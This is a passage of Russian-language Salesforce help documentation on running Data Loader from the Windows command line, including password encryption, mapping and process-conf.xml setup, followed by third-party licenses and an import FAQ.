Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

Прим.: Интерфейс командной строки Data Loader поддерживается только
операционной системой Windows.

Если для запуска приложения Data Loader используется командная строка, то
пользовательский интерфейс отсутствует. Таким образом, сведения, которые обычно
вводятсяпосредствомпользовательскогоинтерфейса, должныбыть указаныв текстовом
файле process-conf.xml. Например, данныйфайл должен содержать имя
пользователя и пароль, используемые приложением Data Loader для входа в систему
Salesforce. Прежде чем добавить пароль в файл process-conf.xml, необходимо его
зашифровать и создать ключшифрования.

1. Чтобы открыть окно ввода командной строки, последовательно выберите пункты
«Пуск» > «Все программы» > «Стандартные» > «Командная строка». Или
выберите пункты «Пуск» > «Выполнить», затем введите строку cmd в поле
«Открыть» и нажмите кнопку «OK».

2. Чтобы открыть корневой каталог жесткого диска, на который установлено приложение Data Loader, введите строку
cd\ в командное окно.

3. Чтобыоткрытькаталог \bin дляприложенияData Loader, введите указаннуюнижекоманду. Данная команда является
примером. Путь к файлу должен соответствовать пути, доступному в системе пользователя.

cd C:\Program Files (x86)\salesforce.com\Apex Data Loader 22.0\bin

4. Чтобы создать ключшифрования, введите указанную ниже команду. Замените <seedtext> на любую строку.

encrypt.bat —g <seedtext>
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Прим.: Чтобы просмотреть параметры командной строки для encrypt.bat, введите encrypt.bat в
командной строке.

5. Скопируйте созданный ключ в текстовыйфайл key.txt и запишите путь к этому файлу. В данном примере
созданный ключ выглядит следующим образом: e8a68b73992a7a54.

Прим.: Чтобы упростить процесс копирования данных в или из командного окна, включите режим быстрого
редактирования. Чтобы включить режим быстрого редактирования, щелкните заголовок окна правой кнопкой
мыши и выберите пункт «Свойства». Установите флажок «Быстрая вставка» на вкладке «Общие».

Средство шифрования используется для шифрования паролей, однако, данные, переданные с помощью Data Loader, не
шифруются.

СМ. ТАКЖЕ:

Действие 2. Создание зашифрованного пароля

Действие 2. Создание зашифрованного пароля

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

Прим.: Интерфейс командной строки Data Loader поддерживается только
операционной системой Windows.

Данное действие позволяет создать зашифрованный пароль посредством ключа,
созданного в предыдущем действии.

1. Введитеуказаннуюнижекомандувокновводакоманднойстроки. Замените <пароль>
на пароль, используемый приложением Data Loader для входа в систему Salesforce.
Замените <путь> на путь к файлу key.txt, который был создан в предыдущем
действии.

encrypt.bat –e <пароль> "<путь>\key.txt"

2. Скопируйте зашифрованныйпароль, созданныйврезультатевводакоманды. Данное
значение потребуется позже.

СМ. ТАКЖЕ:

Действие 3. Создание файла соотнесения полей

Действие 3. Создание файла соотнесения полей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

Прим.: Интерфейс командной строки Data Loader поддерживается только
операционной системой Windows.

Файл соотнесения полей связывает источники данных с целевыми полями. Обычно
данныйфайл является текстовым и имеет расширение .sdl.
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1. Скопируйте указаннуюниже строку в текстовыйфайли сохраните его с именем accountInsertMap.sdl. Данная
строка предназначена для вставки данных, поэтому слева от символа «равно» отображается источник данных, а
справа — целевое поле.

#Mapping values
#Thu May 26 16:19:33 GMT 2011
Name=Name
NumberOfEmployees=NumberOfEmployees
Industry=Industry

Совет: Чтобы выполнить комплексное соотнесение, воспользуйтесь пользовательским интерфейсом Data
Loader, который позволяет соотносить исходные и целевые поля, а затем сохранять эти соотнесения в файле
.sdl. Для этого нажмите кнопку «Сохранить соотнесение» в диалоговом окне «Соотнесение».

СМ. ТАКЖЕ:

Действие 4. Создание файла конфигурации

Действие 4. Создание файла конфигурации

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

Прим.: Интерфейс командной строки Data Loader поддерживается только
операционной системой Windows.

Файл process-conf.xml содержитсведения, необходимыеприложениюData Loader
для обработки данных. Каждый компонент <bean> в файле process-conf.xml
относится к отдельному процессу (например, вставка, экспорт, вставка с обновлением).
Поэтому, данныйфайл может содержать несколько процессов. Чтобы вставить
организации в систему Salesforce, отредактируйте файл.

1. Сделайте копиюфайла process-conf.xml в каталоге \samples\conf.
Сохраните копию исходного файла, так как она содержит примеры других типов
обработки Data Loader (например, экспорты и вставки с обновлениями).

2. Откройте файл в текстовом редакторе и замените его содержимое указанным ниже
кодом XML.

<!DOCTYPE beans PUBLIC "-//SPRING//DTD BEAN//EN"
"http://www.springframework.org/dtd/spring-beans.dtd">
<beans>

<bean id="accountInsert"
class="com.salesforce.dataloader.process.ProcessRunner"
singleton="false">
<description>accountInsert job gets the account record from the CSV file

and inserts it into Salesforce.</description>
<property name="name" value="accountInsert"/>
<property name="configOverrideMap">

<map>
<entry key="sfdc.debugMessages" value="true"/>
<entry key="sfdc.debugMessagesFile"

value="C:\DLTest\Log\accountInsertSoapTrace.log"/>
<entry key="sfdc.endpoint" value="https://servername.salesforce.com"/>
<entry key="sfdc.username" value="admin@Org.org"/>
<!--Password below has been encrypted using key file,

therefore, it will not work without the key setting:
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process.encryptionKeyFile.
The password is not a valid encrypted value,
please generate the real value using the encrypt.bat utility -->

<entry key="sfdc.password" value="e8a68b73992a7a54"/>
<entry key="process.encryptionKeyFile"

value="C:\DLTest\Command Line\Config\key.txt"/>
<entry key="sfdc.timeoutSecs" value="600"/>
<entry key="sfdc.loadBatchSize" value="200"/>
<entry key="sfdc.entity" value="Account"/>
<entry key="process.operation" value="insert"/>
<entry key="process.mappingFile"

value="C:\DLTest\Command Line\Config\accountInsertMap.sdl"/>
<entry key="dataAccess.name"

value="C:\DLTest\In\insertAccounts.csv"/>
<entry key="process.outputSuccess"

value="c:\DLTest\Log\accountInsert_success.csv"/>
<entry key="process.outputError"

value="c:\DLTest\Log\accountInsert_error.csv"/>
<entry key="dataAccess.type" value="csvRead"/>
<entry key="process.initialLastRunDate"

value="2005-12-01T00:00:00.000-0800"/>
</map>

</property>
</bean>

</beans>

3. Измените указанные ниже параметры вфайле process-conf.xml. Дополнительнуюинформациюо параметрах
конфигурации процессов см. в разделе «Параметры конфигурации процессов Data Loader» на странице 791.

• sfdc.endpoint: введите URL-адрес используемого экземпляра Salesforce (например,
https://na1.salesforce.com).

• sfdc.username: введите имя пользователя, используемое приложением Data Loader для входа в систему.

• sfdc.password: введите значение зашифрованного пароля, созданного в действии 2.

• process.mappingFile: введите путь и имя файла соотнесения.

• dataAccess.Name: введите путь и имя файла данных, содержащего организации, которые подлежат импорту.

• sfdc.debugMessages: внастоящеевремязаданозначение true  («истина»). Введите значение false  («ложь»)
после устранения возникших неисправностей и начала импорта.

• sfdc.debugMessagesFile: введите путь и имя файла для журнала командной строки.

• process.outputSuccess: введите путь и имя файла для журнала выполнения.

• process.outputError: введите путь и имя файла для журнала ошибок.

Внимание: Рекомендуем быть особенно внимательными при редактированиифайла process-conf.xml с
помощьюразныхредакторов XML. Некоторыередакторыдобавляюттеги XML вначалоиконецфайла, инициируя
сбой импорта.

СМ. ТАКЖЕ:

Действие 5. Импорт данных
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Действие 5. Импорт данных

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

ПОЛНОМОЧИЯ ПОЛЬЗОВАТЕЛЯ

«Создание» для записейДля вставки записей:

«Редактирование» для записейДля обновления записей:

«Создание» и «Редактирование» для записейДля вставки записей с обновлением:

«Удаление» для записейДля удаления записей:

«Удаление» для записиДля удаления записей без возможности
восстановления:

Прим.: Интерфейс командной строки Data Loader поддерживается только операционной системой Windows.

ТеперьприложениеData Loaderможетбытьзапущеноизкоманднойстрокиииспользованодлявставкиновыхорганизаций.

1. Скопируйте указанную ниже строку в файл с именем accountInsert.csv. Данная строка содержит сведения об
организации, подлежащие импорту.

Name,Industry,NumberOfEmployees
Dickenson plc,Consulting,120
GenePoint,Biotechnology,265
Express Logistics and Transport,Transportation,12300
Grand Hotels & Resorts Ltd,Hospitality,5600

2. Введите указанную ниже команду в окно ввода командной строки.

process.bat "<путь к файлу process-conf.xml>" <имя процесса>

• Замените <путь к файлу process-conf.xml> на путь к каталогу, содержащему файл process-conf.xml.

• Замените <имя процесса> на процесс, указанный в файле process-conf.xml.

Команда должна выглядеть примерно следующим образом:

process.bat "C:\DLTest\Command Line\Config" accountInsert

После запускапроцесса вокне ввода команднойстрокиотображаются сообщенияо выполненииилиошибках. Также
эти сведения доступны в файлах журнала: insertAccounts_success.csv и insertAccounts_error.csv.
После успешного выполнения процесса файл insertAccounts_success.csv содержит импортированные
записи, а такжекодистатускаждойзаписи. Дополнительнуюинформациюофайлахсостояниясм. вразделе «Проверка
выходных файлов Data Loader» на странице 786.
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Сторонние лицензии Data Loader

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

Нижеперечисленысторонниелицензии, предоставляемыепользователямприустановке
приложения Data Loader.

ЛицензияНомер версииТехнология

http://www.apache.org/licenses/LICENSE-2.01.6Apache Jakarta Commons
BeanUtils

http://www.apache.org/licenses/LICENSE-2.03.1Apache Commons
Collections

http://www.apache.org/licenses/LICENSE-2.01.2.1Apache Commons
Database Connection
Pooling (DBCP)

http://www.apache.org/licenses/LICENSE-1.11.0.3Apache Commons
Logging

http://www.apache.org/licenses/LICENSE-2.01.2Apache Commons Object
Pooling Library

http://www.apache.org/licenses/LICENSE-2.01.2.8Apache Log4j

http://www.eclipse.org/legal/epl-v10.html3.452Eclipse SWT

http://www.opensymphony.com/quartz/license.action1.5.1OpenSymphony Quartz
Enterprise Job Scheduler

http://www.mozilla.org/MPL/MPL-1.1.txt1.6R2Rhino JavaScript for Java

http://www.apache.org/licenses/LICENSE-2.0.txt1.2.6Spring Framework

Прим.: Компания Salesforce не несет ответственность за доступность или содержимое сторонних веб-сайтов.

Импорт. Вопросы и ответы

Общие вопросы об импорте

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях: все
версии.

• Можно ли выполнить пакетную загрузку данных в систему Salesforce?

• Следуетлисинхронизировать Outlook илииспользоватьмастерыимпортадлязагрузки
данных в систему Salesforce?

• Кто может использовать мастеры импорта в моей организации?

• Какие полномочия требуются для импорта записей?

• Какие форматы файлов могут обрабатывать мастеры импорта?

• Какие данные могут быть импортированы?

• Ограничивается ли размер моих импортируемых данных?

• Почему не удается выполнить вход в приложение Data Loader?
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• Почему приложение Data Loader не поддерживает импорт специальных символов?

• Можно ли импортировать данные в настраиваемые поля?

• Можно ли импортировать данные в поля, отсутствующие в моем макете страницы?

• Можно ли импортировать данные в поле раскрывающегося списка при несовпадении значений?

• Можно ли удалить мои ошибочно импортированные данные?

• Как обновить записи с помощью мастера импорта данных?

• Почему приложение Data Loader неправильно импортирует поля дат?

• Что показывает очередь импорта?

• Как долго выполняется импорт файла?

• Почему может быть отложен импорт моего файла?

• Можно ли импортировать стоимости в разных валютах?

• Может ли служба поддержки помочь в импорте моих данных?

• Можно ли импортировать данные на нескольких языках?

• Как выполнить пакетное обновление записей?

• Как обновить поля с пустыми значениями?

• Что такое внешний код?

СМ. ТАКЖЕ:

Импорт участников кампании

Можно ли выполнить пакетную загрузку данных в систему Salesforce?

В версиях Group, Professional, Performance, Unlimited, Enterprise и Developer Editions предусмотрен мастер импорта данных
для организаций, контактов, интересов и настраиваемых объектов, поддерживающих пакетный импорт данных. Чтобы
получить доступ, выберите пункт «Управление данными» в меню «Настройка». Кроме того, версии Performance Edition,
Unlimited Edition, Enterprise Edition и Developer Edition предоставляют API-доступ, поддерживающийиспользование средств
пакетной загрузки базы данных (например, Data Loader).

Следует ли синхронизировать Outlook или использовать мастеры импорта для загрузки данных в
систему Salesforce?

Чтобы выбрать нужный способ загрузки данных в организацию Salesforce, воспользуйтесь указанными ниже
рекомендациями.

• Чтобывыполнитьодновременнуюзагрузкуорганизацийиконтактовдлянесколькихпользователей, откройтемастер
импорта данных и выберите пункт «Организации и контакты».

• Чтобызагрузитьконтактыизлюбогоприложения, кроме Microsoft Outlook, откройтемастеримпортаданныхивыберите
пункт «Организации и контакты».

• Чтобы синхронизировать контакты, организации и календарные события Outlook с системой Salesforce, рекомендуем
использовать приложение Exchange Sync или Salesforce for Outlook для первоначальной синхронизации данных и всех
последующих обновлений.

• Чтобы загрузить настраиваемые объекты, интересы и решения, откройте мастер импорта данных и выберите
соответствующий объект для импорта данных типов записей в систему Salesforce. Вы не можете синхронизировать
эти записи с помощью Exchange Sync или Salesforce for Outlook.
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• Чтобы выполнить одновременную загрузку организаций-компаний и контактов для нескольких пользователей,
откройте мастер импорта данных и выберите пункт «Организации и контакты».

• Чтобы загрузить организации-лица, воспользуйтесь мастером «Импорт моих организаций-лиц».

Прим.: Ниже перечислены ограничения, применяемые при импорте организаций-лиц.

• Универсальный мастер импорта данных не поддерживает организации-лица.

• Вы не можете передавать организации-лица с помощью Salesforce for Outlook.

• Контакты Outlook могут синхронизироваться с организациями-лицами Salesforce только при наличии
организаций-лиц. (Синхронизация не инициирует преобразование контактов Outlook в организации-лица
Salesforce.)

Дополнительную информацию об импорте организаций-лиц см. в разделе «Импорт моих организаций-лиц».

Кто может использовать мастеры импорта в моей организации?

Мастер «Импорт моих контактов» доступен всем пользователям организации. Версии Enterprise Edition, Unlimited Edition,
Performance Edition и Developer Edition, поддерживающие организации-лица, предоставляют всем пользователям доступ
к мастеру «Импорт моих организаций-лиц».

Только администратор может использовать общеорганизационный мастер импорта данных для импорта организаций,
контактов, интересов, решений или настраиваемых объектов для нескольких пользователей одновременно. В Personal
Edition мастер импорта данных отсутствует. В версии Contact Manager интересы и решения в мастере импорта данных
отсутствуют. В версии Group Edition решения в мастере импорта данных отсутствуют.

Важное замечание: Компания Salesforce заменилаотдельныемастерыимпортадляорганизаций, контактовидругих
объектов универсальным мастером импорта данных. (Отдельные мастеры импорта открываются посредством
маленькихвсплывающихокон, тогда как универсальныймастероткрываетсяпосредствомполнофункционального
обозревателя, адресная строка которого отображает компонент dataimporter.app.) Чтобы запустить универсальный
мастер, введите строку «Мастер импорта данных» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт
«Мастер импорта данных». (Доступные параметры определяются предоставленными полномочиями.)

Какие полномочия требуются для импорта записей?

Data Loader

Импорт записей посредством приложения Data Loader доступен только при наличии полномочия «Создание» для
соответствующей записи.

Мастер импорта собственных записей

Требуемый доступИмпортируемые записи

«Импорт личных контактов»Мои контакты

«Создание» для организаций

И

Мои организации-лица

«Чтение» для контактов

И
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Требуемый доступИмпортируемые записи

«Импорт личных контактов»

И

Как минимум один тип записи организации-лица,
доступный из профиля или наборов полномочий

Мастер импорта чужих записей

Требуемый доступИмпортируемые записи

Администраторы

Пользователи с полномочием «Изменение всех данных»

Организации и контакты моей организации

Любой пользователь с полномочием «Изменение всех
данных»

Организации-лица моей организации

«Чтение», «Создание» и «Изменение» для интересов

И

Интересы моей организации

«Import Leads»

Любой пользователь с полномочием «Импорт решений»Решения моей организации

Любой пользователь с полномочиями «Импорт
настраиваемых объектов»

Настраиваемые объекты моей организации

Мастер импорта для участников кампании

Требуемый доступИмпортируемые записи

«Редактирование» для кампаний

И

Новые участники кампании (Мастер импорта данных)

Флажок «Пользователь Marketing», установленный на
странице сведений о пользователе

И

«Импорт интересов»

«Редактирование» для кампаний

И

Обновленные участники кампании (Мастер обновления
кампаний)

«Импорт интересов»

И

«Чтение» для контактов
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Требуемый доступИмпортируемые записи

Флажок «Пользователь Marketing», установленный на
странице сведений о пользователе

Важное замечание: Компания Salesforce заменилаотдельныемастерыимпортадляорганизаций, контактовидругих
объектов универсальным мастером импорта данных. (Отдельные мастеры импорта открываются посредством
маленькихвсплывающихокон, тогда как универсальныймастероткрываетсяпосредствомполнофункционального
обозревателя, адресная строка которого отображает компонент dataimporter.app.) Чтобы запустить универсальный
мастер, введите строку «Мастер импорта данных» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт
«Мастер импорта данных». (Доступные параметры определяются предоставленными полномочиями.)

Какие форматы файлов могут обрабатывать мастеры импорта?
Контактыиорганизации-компаниимогутбытьимпортированыпрямоизфайла ACT! или Outlook, либолюбого CSV-файла
(например, GoldMine или Excel). Интересы, решения, настраиваемыеобъектыиорганизации-лицамогутбытьимпортированы
из любого CSV-файла.

Прим.: Если региональные настройки не поддерживают использование запятых, воспользуйтесь символом
табуляции или любым другим разделителем.

Какие данные могут быть импортированы?

Ниже перечислены записи, которые могут быть импортированы посредством мастеров импорта.

Контакты и организации-компании
Контактыиорганизации-компанииимпортируютсяспомощьюмастера «Импортмоихконтактов» имастераимпорта
данных.

Кроме того, версии Professional Edition, Enterprise Edition, Unlimited Edition, Performance Edition и Developer Edition позволяют
импортировать примечания к контактам и организациям-компаниям.

Организации-лица
Мастер «Импорт моих организаций-лиц» в версиях Enterprise Edition, Unlimited Edition, Performance Edition и Developer
Edition позволяет импортировать собственные организации-лица. Чтобы импортировать организации-лица для
несколькихпользователей, администраторымогутиспользоватьмастер «Импорторганизаций-лицмоейорганизации».

Интересы
Ворганизациях, использующихверсии Professional, Enterprise, Unlimited, Performanceи Developer Edition, интересыследует
импортировать с помощью мастера импорта данных.

Решения
Ворганизациях с версиями Professional, Enterprise, Unlimited, Performanceи Developer Edition дляимпортарешенийследует
использовать мастер импорта данных.

Настраиваемые объекты
В организациях с версиями Contact Manager, Group, Professional, Enterprise, Unlimited, Performance и Developer Edition для
импорта настраиваемых объектов следует использовать мастер импорта данных.

В мастере импорта данных администраторы могут выполнять импорт для организаций, контактов, интересов, решений
и настраиваемых объектов только в перечисленные поля, даже если поле является скрытым или доступно только для
чтения в соответствующем макете страницы или в параметрах безопасности уровня поля. Данные могут быть
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импортированы только в поля, доступные отдельным пользователям согласно макету страницы или параметрам
безопасности поля.

Мастеры импорта для других записей недоступны.

Важное замечание: Компания Salesforce заменилаотдельныемастерыимпортадляорганизаций, контактовидругих
объектов универсальным мастером импорта данных. (Отдельные мастеры импорта открываются посредством
маленькихвсплывающихокон, тогда как универсальныймастероткрываетсяпосредствомполнофункционального
обозревателя, адресная строка которого отображает компонент dataimporter.app.) Чтобы запустить универсальный
мастер, введите строку «Мастер импорта данных» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт
«Мастер импорта данных». (Доступные параметры определяются предоставленными полномочиями.)

Ограничивается ли размер моих импортируемых данных?
Да. Размерфайла импорта не должен превышать 100 Мб, а размер каждой записи в файле — 400 Кб. Кроме того, размер
любогоимпортируемогопримечанияилиописанияне долженпревышать 32 Кб. Описания, размер которыхпревышает
32 Кб, подлежат усечению.

Помимоограниченияпоразмеруфайлаимпорта, размеримпортатакжезависитотобщегообъемахранилищаорганизации.
Обратите внимание, что размер файла импорта не соотносится напрямую с объемом хранилища, необходимым для
данных записей. Например, файл импорта размером 50 Мбможет добавить в систему Salesforce данные другого размера.

Важное замечание: Компания Salesforce заменилаотдельныемастерыимпортадляорганизаций, контактовидругих
объектов универсальным мастером импорта данных. (Отдельные мастеры импорта открываются посредством
маленькихвсплывающихокон, тогда как универсальныймастероткрываетсяпосредствомполнофункционального
обозревателя, адресная строка которого отображает компонент dataimporter.app.) Чтобы запустить универсальный
мастер, введите строку «Мастер импорта данных» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт
«Мастер импорта данных». (Доступные параметры определяются предоставленными полномочиями.)

Почему не удается выполнить вход в приложение Data Loader?

Чтобы устранить ошибку входа в приложение Data Loader, выполните указанные ниже действия.

• Добавьте ключ безопасности в конец пароля, используемого для входа в приложение Data Loader.

• Чтобы заполнить поле Server host соответствующим сервером, откройте приложение Data Loader и выполните
указанные ниже действия.

1. Запустите приложение Data Loader.

2. Последовательно выберите пункты Settings > Settings.

3. Заполните поле Server host значением https://имя_экземпляра.salesforce.com, где имя_экземпляра —
это используемый экземпляр Salesforce.

4. Чтобы сохранить параметры, нажмите кнопку «OK».

• Чтобы определить наличие прокси-сервера, обратитесь к администратору. Если доступ к серверу осуществляется
через прокси-сервер, настройте параметрыприложенияData Loader. Приналичииинтерфейсов API, доступныхчерез
прокси-сервер, подключение интерфейсов API к системе Salesforce блокируется прокси-сервером; сведения об
интерфейсах API не отображаются в разделе «Журнал входов».

• Чтобыпроверитьправильностьпараметровлокальногоустройства, выполнитевходпосредствомдругогокомпьютера.
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Почему приложение Data Loader не поддерживает импорт специальных символов?
Импорт специальныхсимволов (например, ö, ñ или é) неподдерживаетсяприложениемData Loader в случаенеправильной
кодировки исходного файла данных. Чтобы гарантировать правильную кодировку файла, выполните указанные ниже
действия.

1. Внесите любые изменения в исходныйфайл данных, сохраненный в формате XLS.

2. Сохраните копиюфайла Microsoft® Excel® как текстовыйфайлЮникод.

3. Откройте сохраненный текстовыйфайлЮникод в текстовом редакторе.

4. Выберите пункты «Файл» > «Сохранить как» и измените указанные ниже параметрыфайла.

• Расширение имени файла: .csv

• Типфайла: «Всефайлы»

• Кодировка: UTF-8

5. Нажмите кнопку «Сохранить» и закройте файл.

Прим.: Чтобысохранитьизменения, внесенныев кодировку, рекомендуемнеоткрыватьфайлпосле сохранения
параметров.

6. Импортируйте данные посредством приложения Data Loader и выберите созданный CSV-файл.

Можно ли импортировать данные в настраиваемые поля?
Да. Администратор должен создать настраиваемые поля до выполнения импорта.

Записи, содержащие значение «1» в поле с флажком, импортируются как помеченные, тогда как записи, содержащие
значение «0», импортируются как непомеченные.

СМ. ТАКЖЕ:

Общие сведения об импорте

Можно ли импортировать данные в поля, отсутствующие в моем макете страницы?

Нет. Данные могут быть импортированы только в поля, доступные в макете страницы или согласно параметрам
безопасности. Однако, единыемастерыимпортаорганизаций, контактов, интересов, решенийинастраиваемыхобъектов
позволяютадминистраторамимпортироватьданныевлюбыеперечисленныеполя, дажееслиполе скрытоилидоступно
только для чтения согласно макету страницы или параметрам безопасности.

Важное замечание: Компания Salesforce заменилаотдельныемастерыимпортадляорганизаций, контактовидругих
объектов универсальным мастером импорта данных. (Отдельные мастеры импорта открываются посредством
маленькихвсплывающихокон, тогда как универсальныймастероткрываетсяпосредствомполнофункционального
обозревателя, адресная строка которого отображает компонент dataimporter.app.) Чтобы запустить универсальный
мастер, введите строку «Мастер импорта данных» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт
«Мастер импорта данных». (Доступные параметры определяются предоставленными полномочиями.)

Можно ли импортировать данные в поле раскрывающегося списка при несовпадении значений?

Рекомендуем импортировать данные в текущий раскрывающийся список, если раскрывающийся список полностью
соответствуетданным; точныезначениямогутнесовпадать. Преждечемимпортироватьновыезначенияраскрывающегося
списка, мастер импорта отображает соответствующее предупреждение. Однако, мастеры принимают любое значение
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поляраскрывающегосясписка, дажееслизначениенеявляетсяпредопределенным. Померенеобходимостиадминистратор
может дополнять раскрывающийся список новыми значениями. Обратите внимание, что мастеры импорта позволяют
одновременно импортировать не более 100 новых значений раскрывающегося списка или раскрывающегося списка со
множественным выбором для каждого поля.

Важное замечание: Компания Salesforce заменилаотдельныемастерыимпортадляорганизаций, контактовидругих
объектов универсальным мастером импорта данных. (Отдельные мастеры импорта открываются посредством
маленькихвсплывающихокон, тогда как универсальныймастероткрываетсяпосредствомполнофункционального
обозревателя, адресная строка которого отображает компонент dataimporter.app.) Чтобы запустить универсальный
мастер, введите строку «Мастер импорта данных» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт
«Мастер импорта данных». (Доступные параметры определяются предоставленными полномочиями.)

Можно ли удалить мои ошибочно импортированные данные?
Ваш администратор может в меню «Настройка» ввести «Пакетное удаление записей» в поле «Быстрый поиск», затем
выбрать «Пакетное удаление записей», чтобы выполнить пакетное удаление организаций, контактов, интересов или
решений, которые вы импортировали по ошибке. Настраиваемые объекты, импортированные по ошибке, недоступны
для пакетного удаления.

Чтобыотменить организационныеимпорты, выполнение которых ещене началось, воспользуйтесь очередьюимпорта.
Введите строку «Импорты» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт «Импорты».Очередь
импорта недоступна в организациях Personal Edition.

Как обновить записи с помощью мастера импорта данных?
Мастер импорта данных позволяет обновлять интересы, контакты или организации, при условии что код записи
используется в качестве уникального идентификатора. Действия, описанные в данном разделе, не применяются к
настраиваемым объектам.

Прим.: Рекомендуем выполнять данные действия только администраторам Salesforce.

Прежде чем начать работу, подготовьте обновляемые данные.

1. Создайте табличный отчет по обновляемым записям, включая код записи и обновляемые поля.

2. Сохраните отчет в виде CSV-файла на рабочем компьютере.

3. Чтобы создать дополнительную версию CSV-файла и изменить нужные данные, нажмите кнопку «Сохранить как».

4. Нажмите кнопку «Сохранить».

Импортируйте CSV-файлобновленногоотчетавсистемуSalesforce. Этапыимпортаопределяютсяобновляемымизаписями.

Обновление интересов

1. В разделе «Настройка» введите «Мастер импорта данных» в поле «Быстрый поиск», выберите «Мастер импорта
данных» и нажмите кнопку «Запустить мастер!».

2. Щелкните «Интересы».

3. Нажмите кнопку «Обновить имеющиеся записи».

4. Выберите тип совпадения «Код salesforce.com». Нажмите кнопку «Далее».

5. Установите флажок «Перезаписать текущие значения интереса».
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6. Соотнесите поле «Код интереса» со столбцом локального файла «Код интереса». Повторите данное действие для
других полей.

7. Просмотрите изменения и нажмите кнопку «Импортировать!».

Обновление организаций или контактов

1. В разделе «Настройка» введите «Мастер импорта данных» в поле «Быстрый поиск», выберите «Мастер импорта
данных» и нажмите кнопку «Запустить мастер!».

2. Щелкните «Организации и контакты».

3. Нажмите кнопку «Обновить имеющиеся записи».

4. Выберите типсовпаденияконтактов «Код salesforce.com». Типсовпаденияорганизацийавтоматическисоответствует
типу совпадения контактов. Нажмите кнопку «Далее».

5. Соотнесите поле «Код контакта» со столбцом локального файла «Код контакта». Повторите данное действие для
других полей контакта. Нажмите кнопку «Далее».

6. Соотнесите поля телефона и адреса контакта. Нажмите кнопку «Далее».

7. Установите флажок «Перезаписать текущие значения организации». Соотнесите поле «Код организации» со
столбцом локального файла «Код организации». Повторите данное действие для других полей организации.

8. Передайте тот CSV-файл, который вы импортируете.

9. Соотнесите дополнительные поля импорта и нажмите кнопку «Далее».

10. Нажмите кнопку «Импортировать!».

Мастер импорта данных сопоставляет коды записей, доступные в файле и в Salesforce, и обновляет соотнесенные поля.

СМ. ТАКЖЕ:

Мастер импорта данных

Почему приложение Data Loader неправильно импортирует поля дат?
Иногда поля дат, импортированные посредством приложения Data Loader, содержат неправильные значения, так как
приложение Data Loader отображает дату из импортированного CSV-файла по Гринвичу. Если используется другой
часовой пояс или автоматический переход на летнее время, то разница между датами может достигать одного дня.

Чтобы запретить приложению Data Loader отображать даты по Гринвичу, измените формат ячеек, содержащих даты.

1. Откройте CSV-файл в приложении Microsoft® Excel®.

2. Введите нужный часовой пояс в каждую ячейку, содержащую дату. Например, если ячейка содержит дату 9 июня
2011 года, ачасовойпоясотличаетсяотГринвичана 8 часов, введите следующуюстроку: 9 июня 2011 8:00. Данная
строка отображается приложением Microsoft® Excel® следующим образом: 9/6/2011 8:00.

3. Правой кнопкой мышищелкните нужную ячейку и выберите пункт контекстного меню «Формат ячеек...».

4. Выберите формат «Число» > «Всеформаты».

5. Введите гггг-мм-ддВчч:мм:сс.сссZ вполе «Тип». Например, значениеячейки 9/6/2011 8:00 должноотображаться
следующим образом: 2011–06–09В08:00:00.00Z.
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Что показывает очередь импорта?
Введите строку «Импорты» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт «Импорты». В очереди
импорта отображаются все необработанные файлы, которые вы передали с помощью мастера импорта данных в меню
«Настройка». Пользователь может просмотреть время отправки, текущий статус и приблизительное время обработки
каждого файла. Чтобы удалить файл импорта, обработка которого еще не началась, щелкните ссылку «Удал.». Очередь
импорта недоступна в организациях Personal Edition.

Важное замечание: Компания Salesforce заменилаотдельныемастерыимпортадляорганизаций, контактовидругих
объектов универсальным мастером импорта данных. (Отдельные мастеры импорта открываются посредством
маленькихвсплывающихокон, тогда как универсальныймастероткрываетсяпосредствомполнофункционального
обозревателя, адресная строка которого отображает компонент dataimporter.app.) Чтобы запустить универсальный
мастер, введите строку «Мастер импорта данных» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт
«Мастер импорта данных». (Доступные параметры определяются предоставленными полномочиями.)

Как долго выполняется импорт файла?
Время выполненияимпорта, инициированногоотдельнымпользователем, определяется размером данных, но в среднем
составляет несколько минут.

Импортфайла, инициированныйадминистратором, выполняетсявасинхронномрежиме, апоегозавершенииотправляется
соответствующееэлектронноеуведомление. Времявыполненияасинхронногоимпорта варьируетсяотнесколькихминут
до 24 часов.

Администраторам всех версий, кроме Personal Edition, предоставляется доступ к очереди импорта, позволяющей
просматриватьтекущийстатусфайловимпорта. Введитестроку «Импорты» вполе «Быстрый поиск» вменю «Настройка»
ивыберитепункт «Импорты».Дополнительнуюинформациюосокращениивременивыполненияимпортасм. вразделе
«Общие сведения об импорте» на странице 733.

Важное замечание: Компания Salesforce заменилаотдельныемастерыимпортадляорганизаций, контактовидругих
объектов универсальным мастером импорта данных. (Отдельные мастеры импорта открываются посредством
маленькихвсплывающихокон, тогда как универсальныймастероткрываетсяпосредствомполнофункционального
обозревателя, адресная строка которого отображает компонент dataimporter.app.) Чтобы запустить универсальный
мастер, введите строку «Мастер импорта данных» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт
«Мастер импорта данных». (Доступные параметры определяются предоставленными полномочиями.)

Почему может быть отложен импорт моего файла?
В целях управления объемом импортов и предоставления всем пользователям высокого уровня производительности
файлы организационного импорта принимаются в асинхронном режиме. Другими словами, файл добавляется в
